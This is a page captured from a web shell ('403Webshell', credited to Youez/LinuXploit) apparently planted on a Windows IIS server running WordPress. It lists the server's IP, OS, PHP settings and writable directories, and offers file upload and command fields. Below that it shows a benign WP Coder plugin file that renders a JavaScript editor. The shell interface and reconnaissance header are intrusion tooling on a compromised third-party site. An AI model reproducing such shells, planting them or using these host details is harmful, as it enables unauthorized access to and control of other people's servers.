403Webshell
Server IP : 121.121.20.254  /  Your IP : 216.73.216.202
Web Server : Microsoft-IIS/10.0
System : Windows NT WEB-SERVER 10.0 build 20348 (Windows Server 2022) AMD64
User : IUSR ( 0)
PHP Version : 8.3.28
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/inetpub/wwwroot/excellentvege/wp-content/plugins/wp-coder/includes/settings/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : C:/inetpub/wwwroot/excellentvege/wp-content/plugins/wp-coder/includes/settings//3.js-code.php
<?php
/*
 * Page Name: JS
 */

use WPCoder\Dashboard\Field;
use WPCoder\Dashboard\FolderManager;
use WPCoder\Dashboard\Option;

defined( 'ABSPATH' ) || exit;

$default = Field::getDefault();
$opt     = include( 'options/js-code.php' );

$js_link = '';
if ( ! empty( $default['js_code'] ) ) {
	$js_link = FolderManager::path_upload_url() . 'script-' . $default['id'] . '.js';
}

?>

    <div class="wowp-settings__page">
        <div class="wowp-settings__page-sidebar">

	        <?php Option::init( [
		        $opt['jquery'],
		        $opt['inline'],
		        $opt['minified'],
		        $opt['attributes'],
	        ] ); ?>

            <button class="button-editor button" id="jsnav"><?php esc_html_e( 'Add NAV Comment', 'wp-coder' ); ?></button>
            <ol id="jsNavigationMenu" class="wowp-php-nav-menu"></ol>

        </div>
        <div class="wowp-settings__page-content">
	        <?php Field::textarea( 'js_code' ); ?>

            <div class="wowp-notification notification-info">
                Just enter the JavaScript content. You don’t need to include <code>&lt;script&gt;</code> — it's already on the page.
            </div>

	        <?php if ( ! empty( $js_link ) ): ?>
                <div class="wowp-field has-addon">
                    <span class="label"><?php esc_html_e( 'JS File URL', 'wp-coder' ); ?></span>
                    <label for="tag" class="label is-addon"><span
                                class="dashicons dashicons-admin-links"></span></label>
                    <input type="url" id="url-js-file" readonly="readonly" value="<?php echo esc_url( $js_link ); ?>">
                </div>
	        <?php endif; ?>


        </div>
    </div>

<?php



Youez - 2016 - github.com/yon3zu
LinuXploit